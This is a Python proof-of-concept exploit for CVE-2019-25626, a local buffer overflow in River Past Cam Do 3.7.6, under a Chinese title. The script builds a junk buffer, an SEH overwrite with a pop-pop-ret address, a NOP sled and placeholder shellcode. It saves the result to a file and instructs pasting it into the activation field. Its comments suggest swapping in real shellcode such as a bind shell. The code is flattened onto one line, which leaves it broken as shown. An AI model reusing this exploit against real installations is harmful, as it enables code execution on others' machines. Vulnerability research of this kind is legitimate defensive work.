CVE-2019-25626 River Past Cam Do本地缓冲区溢出漏洞

import sys # PoC for CVE-2019-25626 - River Past Cam Do 3.7.6 Local Buffer Overflow # Vulnerability: Buffer overflow in activation code input field # Mechanism: Junk data (608 bytes) + SEH overwrite + Shellcode def generate_payload(): # 1. Offset to reach the SEH handler (608 bytes) junk = b"A" * 608 # 2. SEH overwrite structure # nSEH: Short jump instruction (EB 06) to skip the SEH handler and land in shellcode nseh = b"\xeb\x06\x90\x90" # SEH: Pointer to a Pop Pop Ret instruction (0x10015A6A from a module) # Note: Address needs adjustment based on specific application memory layout seh = b"\x6a\x5a\x01\x10" # 3. NOP sled and Shellcode nop_sled = b"\x90" * 32 # Example shellcode (e.g., calc.exe or bind shell) # Replace with actual payload for real testing shellcode = b"\xCC" * 300 payload = junk + nseh + seh + nop_sled + shellcode return payload if __name__ == "__main__": exploit_buffer = generate_payload() print(f"[+] Generated Exploit Buffer Length: {len(exploit_buffer)}") print("[+] Copy the raw bytes below and paste into the activation field.") # Saving to file for easy transfer with open("cve-2019-25626_exploit.txt", "wb") as f: f.write(exploit_buffer) print("[+] Saved to cve-2019-25626_exploit.txt")